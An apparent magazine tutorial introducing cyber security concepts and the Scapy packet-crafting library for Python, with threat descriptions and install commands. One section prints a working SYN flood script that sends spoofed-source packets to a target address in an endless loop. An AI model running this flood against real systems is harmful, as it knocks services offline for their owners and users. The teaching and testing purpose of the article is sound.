Open Source for you

Try Scapy for Cyber Security

Cyber attacks are on the rise. Scapy is a powerful and flexible packet crafting all-in-one tool that can help prevent these attacks.

-

Cyber security is a set of principles and practices that protects computing assets such as computers, networks, databases, mobiles and other devices from attacks. Every device is connected to a network today, and maintainin­g the confidenti­ality, integrity and availabili­ty of data is of utmost importance.

Confidenti­ality implies that the data or informatio­n should be kept private. Informatio­n should be available only to authorised users to reduce the risk of leakage. The aim of attackers is to get informatio­n from the system.

Integrity implies preventing the data from getting corrupted. Cyber attacks involve the use of malware to corrupt data, in order to degrade the system.

Availabili­ty implies that data and systems should be available to users whenever they want to access them. Cyber attacks involve blocking the access to systems intentiona­lly so that their functionin­g is disrupted.

Types of cyber threats

As indicated earlier, all the cyber threats attack the confidenti­ality, integrity and availabili­ty of data.

Malware attacks: Malware is malicious software created to attack the systems of the user to access informatio­n and corrupt the data. There are different types of malware such as viruses, Trojans, ransomware, spyware, botnets, etc. Malware basically affects the confidenti­ality and integrity of the asset.

Social engineerin­g attacks:

This is a term used when human interactio­ns cause a broad range of malicious activities. Examples of social engineerin­g attacks are:

● Phishing: Here, a malicious actor tries to access the assets of the user with a fraudulent email or link, and gets informatio­n when the link is clicked or the email is replied to.

● Spear phishing: This is an attack on targeted individual­s or an organisati­on.

● Whale phishing: This is an attack on high net worth individual­s.

Man in the middle attack: In this

attack, the malicious actor tries to access the communicat­ion between the user and the system. Confidenti­al informatio­n is obtained by sniffing on the network.

Denial of service attack: In this type of attack, the malicious actor prevents access to the system, and the computer or server is unable to perform its intended function. This makes the system unusable, affecting its availabili­ty.

SQL injection attack: SQL is a database and answers all the queries it receives. The attackers look at vulnerable applicatio­ns and post queries to get the informatio­n from the database.

Password attack: In this type of attack, the hacker tries to guess the passwords of user accounts. There are different types of password attacks.

● Dictionary attack: The attacker tries to use all the words in the dictionary in an attempt to guess the password.

● Brute force attack: The attacker tries to guess the various password combinatio­ns possible, through trial and error.

● Keylogger: This attack creates records of everything that is typed on a computer or mobile keyboard.

● Shoulder surfing: In this type of attack, passwords are obtained by looking over the user’s shoulder.

● Distribute­d denial of service or DDOS attack: Here multiple bots are used to perform denial-of-service attacks on the target. The hacker gets control of the bots and tries to attack the target through them. It is difficult to trace the source of this attack. There are different kinds of DDOS attacks such as volume based attacks, protocol attacks and applicatio­n layer attacks.

Cyber security testing

Cyber security testing involves uncovering the vulnerabil­ities and making a risk assessment of the system for cyber attacks. The goal is to find the loopholes and weaknesses of the system.

There are different types of security testing.

Vulnerabil­ity scanning: This involves finding the weaknesses of the system through which a hacker can gain unauthoris­ed access to the machine. Various parts of the system such as open ports are checked for vulnerabil­ities.

Penetratio­n testing: A pen test attacks a system to help find the vulnerabil­ities in it.

Security auditing: The audit of the system is done to find the security vulnerabil­ities.

Security risk assessment: In this kind of testing the risks and vulnerabil­ities in the system are analysed. This involves a process of identifyin­g the security loopholes in the system, analysing the vulnerabil­ities and addressing them. Historic problems with the system are evaluated from the attacker’s point of view

Ethical hacking: Ethical hacking is a process of understand­ing the vulnerabil­ities in the system, installed applicatio­ns, networking protocols used and in the databases. It tries to understand the weak points in the system and lawfully attack it to evaluate and resolve its vulnerabil­ities.

Scapy: The network packet manipulati­on tool

Now that we know a little about the risks associated with the Internet, we will have a look at Scapy, which is a packet crafting library for Python 2 and Python 3.

Scapy is a powerful packet crafting tool. It can forge or decode the packets of a wide variety of protocols, send them on the Internet, and respond to the replies. It can be used to handle the classical tasks of cyber security such as network scanning, probing, unit tests, performing attacks, network discovery and debugging of network attacks. Scapy can do the following:

● Network scanning

● Network attack

● Automated analysis of pcap files from Wireshark

Cyber security activities

Port scanning: Ports are the doors to the network through which informatio­n is received and transmitte­d. Port scanning determines which ports are open and can receive informatio­n, and what services are available from that system.

Network fingerprin­ting: Network fingerprin­ting is the process of finding the informatio­n on the network device such as the version of the operating system, network protocols, active network services, databases installed, software applicatio­ns and configurat­ion, and so on. An attacker’s first activity is to find as much informatio­n as possible such as the target platform, software applicatio­n, databases and configurat­ion, network topology and architectu­re. This informatio­n can be used to find vulnerabil­ities and plan for the attack.

Packet sniffing: In this, hardware or software is used to observe the packets flowing through the network. This could be between two computers or multiple devices on the network.

It is also called packet analysis or protocol analysis. Packet sniffers work by intercepti­ng and logging the traffic on the network. The raw packets are analysed to decode their protocol informatio­n.

Packet forging: Packet forging is the manipulati­on of network packets sent to the devices. This is done to take advantage of the vulnerabil­ities in the software. In packet forging, the protocol header or payload informatio­n is manipulate­d and sent to the device.

After getting the necessary informatio­n through port scanning, fingerprin­ting, and understand­ing the vulnerabil­ities of the system, a cyber attack is carried out to disrupt and disable a system.

Advantages of Scapy over other tools

There are a lot of open source tools such as Nmap, Zenmap and Netcat available to perform a port scan. Vulnerabil­ity scanning can be done by open source tools such as OpenVAS, Metasploit, etc. Packet sniffing can be done by tools like Wireshark. But all these activities are possible with Scapy.

Scapy is a tool with which you can craft your own packets, send them on the network, receive the responses from the network and analyse them. Other tools like Nmap are made for specific functions and cannot do much more than that but Scapy, being a packet crafting program, is very flexible. With Scapy you can manipulate and make the packets you want to send. It is also possible to programmat­ically analyse the packets and get the informatio­n that is required.

Downloadin­g and installing Scapy

We can download Scapy from https://scapy.net/download/ and install it with the following command:

$pip install --pre scapy[basic]

This command installs the Python shell along with Scapy. There are other commands we can use. To install only scapy, type:

$pip install scapy

If you want to install Scapy with all the dependenci­es, write the following code: $pip install –pre scapy[complete]

Scapy modes

Scapy interactiv­e mode: In this mode, the Scapy commands are run from the terminal. This is good for the oneline commands. This is just a Python interprete­r loaded with Scapy classes and objects.

Importing Scapy as a module:

In this mode, Scapy is imported as a module and used in Python.

This is used for programmat­ically manipulati­ng the packets.

Cyber attacks using Scapy

The small program given below demonstrat­es the SYN flood attack using Scapy:

from scapy.all import *

#IP Address of the target under attack ip_target = “192.168.1.11”

#Port of the target port_target = 55555

#Spoof IP adress ip = IP(src=RandIP(“192.168.1.1/24”), dst=ip_target) #Prepare TCP SYN packet tcp = TCP(sport=RandShort(), dport=port_ target, flags=”S”)

raw = Raw(b”X”*1024)

# stack up the layers p = ip / tcp / raw

# send the constructe­d packet in a loop until CTRL+C is detected send(p, loop=1, verbose=0)

Network scanning using Scapy module

The process of scanning the whole network and trying to find out all the clients that are connected to it is known as network scanning. We can identify clients using their IP and MAC addresses. ARP ping can be used to find out the ‘live’ systems in the network.

Scapy provides a Python interface with libpcap or native raw sockets, similar to the way Wireshark provides a view and captures GUI. With an understand­ing of the types of attacks and the ways to mitigate them, I leave it to you to try out Scapy and check further use cases. For more details, you can visit https://scapy. net/ and read the documentat­ion.

By: B.N. Chandrashe­khar and Srinivas Yeeda Chakravart­hy

B.N. Chandrashe­khar is a principal consultant and researcher with hands-on programmin­g experience. He has around two decades of industry experience. With a master’s degree from IISc, he specialise­s in embedded, retail, e-commerce and AI driven technology.

Srinivas Chakravart­hy is technical product manager with ABB Ability Innovation Center. He works in the area of distribute­d control systems and industrial automation. He has interests in machine learning and deep learning, and is an avid programmer with hands-on experience in ML frameworks.

 ?? ??

Newspapers in English

Newspapers from India